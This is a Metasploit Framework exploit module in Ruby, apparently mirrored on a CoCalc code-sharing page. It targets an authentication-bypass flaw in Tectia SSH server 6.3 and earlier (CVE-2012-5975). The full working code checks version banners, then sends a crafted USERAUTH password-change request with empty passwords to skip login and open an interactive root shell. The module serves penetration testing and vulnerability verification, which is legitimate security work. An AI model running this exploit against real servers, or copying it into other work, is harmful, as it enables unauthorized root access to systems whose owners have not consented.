Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/ssh/tectia_passwd_changereq.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/ssh'
7
require 'net/ssh/command_stream'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::Remote::Tcp
13
include Msf::Exploit::Remote::SSH
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
20
'Description' => %q{
21
This module exploits a vulnerability in Tectia SSH server for Unix-based
22
platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
23
before password authentication, allowing any remote user to bypass the login
24
routine, and then gain access as root.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'kingcope', # Original 0day
29
'bperry',
30
'sinn3r'
31
],
32
'References' => [
33
['CVE', '2012-5975'],
34
['EDB', '23082'],
35
['OSVDB', '88103'],
36
['URL', 'https://seclists.org/fulldisclosure/2012/Dec/12']
37
],
38
'Payload' => {
39
'Compat' =>
40
{
41
'PayloadType' => 'cmd_interact',
42
'ConnectionType' => 'find'
43
}
44
},
45
'Platform' => 'unix',
46
'Arch' => ARCH_CMD,
47
'Targets' => [
48
['Unix-based Tectia SSH 6.3 or prior', {}]
49
],
50
'Privileged' => true,
51
'DisclosureDate' => '2012-12-01',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(22),
64
OptString.new('USERNAME', [true, 'The username to login as', 'root'])
65
], self.class
66
)
67
68
register_advanced_options(
69
[
70
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
71
]
72
)
73
end
74
75
def check
76
connect
77
banner = sock.get_once.to_s.strip
78
vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
79
disconnect
80
81
# Vulnerable version info obtained from CVE
82
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
83
build = version.split('.')[-1].to_i
84
85
case version
86
when /^6\.0/
87
unless (4..14).include?(build) or (17..20).include?(build)
88
return Exploit::CheckCode::Safe
89
end
90
91
when /^6\.1/
92
unless (0..9).include?(build) or build == 12
93
return Exploit::CheckCode::Safe
94
end
95
96
when /^6\.2/
97
unless (0..5).include?(build)
98
return Exploit::CheckCode::Safe
99
end
100
101
when /^6\.3/
102
unless (0..2).include?(build)
103
return Exploit::CheckCode::Safe
104
end
105
else
106
return Exploit::CheckCode::Safe
107
end
108
109
# The vulnerable version must use PASSWORD method
110
user = Rex::Text.rand_text_alpha(4)
111
transport, connection = init_ssh(user)
112
return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
113
114
return Exploit::CheckCode::Safe
115
end
116
117
def rhost
118
datastore['RHOST']
119
end
120
121
def rport
122
datastore['RPORT']
123
end
124
125
def is_passwd_method?(user, transport)
126
# A normal client is expected to send a ssh-userauth packet.
127
# Without it, the module can hang against non-vulnerable SSH servers.
128
transport.send_message(transport.service_request("ssh-userauth"))
129
message = transport.next_message
130
131
# 6 means SERVICE_ACCEPT
132
if message.type != 6
133
print_error("Unexpected message: #{message.inspect}")
134
return false
135
end
136
137
# We send this packet as an attempt to see what auth methods are available.
138
# The only auth method we want is PASSWORD.
139
pkt = Net::SSH::Buffer.from(
140
:byte, 0x32, # userauth request
141
:string, user, # username
142
:string, "ssh-connection", # service
143
:string, "password" # method name
144
)
145
pkt.write_bool(true)
146
pkt.write_string("") # Old pass
147
pkt.write_string("") # New pass
148
149
transport.send_message(pkt)
150
message = transport.next_message
151
152
# Type 51 means the server is trying to tell us what auth methods are allowed.
153
if message.type == 51 and message.to_s !~ /password/
154
print_error("#{rhost}:#{rport} - This host does not use password method authentication")
155
return false
156
end
157
158
return true
159
end
160
161
#
162
# The following link is useful to understand how to craft the USERAUTH password change
163
# request packet:
164
# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
165
#
166
def userauth_passwd_change(user, transport, connection)
167
print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
168
pkt = Net::SSH::Buffer.from(
169
:byte, 0x32, # userauth request
170
:string, user, # username
171
:string, "ssh-connection", # service
172
:string, "password" # method name
173
)
174
pkt.write_bool(true)
175
pkt.write_string("") # Old pass
176
pkt.write_string("") # New pass
177
178
transport.send_message(pkt)
179
message = transport.next_message.type
180
print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
181
182
if message.to_i == 52 # SSH2_MSG_USERAUTH_SUCCESS
183
transport.send_message(transport.service_request("ssh-userauth"))
184
message = transport.next_message.type
185
186
if message.to_i == 6 # SSH2_MSG_SERVICE_ACCEPT
187
shell = Net::SSH::CommandStream.new(connection, logger: self)
188
connection = nil
189
return shell
190
end
191
end
192
end
193
194
def init_ssh(user)
195
opts = ssh_client_defaults.merge({
196
:user => user,
197
:port => rport
198
})
199
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
200
transport = Net::SSH::Transport::Session.new(rhost, options)
201
connection = Net::SSH::Connection::Session.new(transport, options)
202
203
return transport, connection
204
end
205
206
def do_login(user)
207
transport, connection = init_ssh(user)
208
passwd = is_passwd_method?(user, transport)
209
210
if passwd
211
conn = userauth_passwd_change(user, transport, connection)
212
return conn
213
end
214
end
215
216
def exploit
217
c = nil
218
219
begin
220
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
221
c = do_login(datastore['USERNAME'])
222
end
223
rescue Rex::ConnectionError
224
return
225
rescue Net::SSH::Disconnect, ::EOFError
226
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
227
return
228
rescue Net::SSH::Exception => e
229
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
230
return
231
rescue ::Timeout::Error
232
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
233
return
234
end
235
236
handler(c.lsock) if c
237
end
238
end
239
240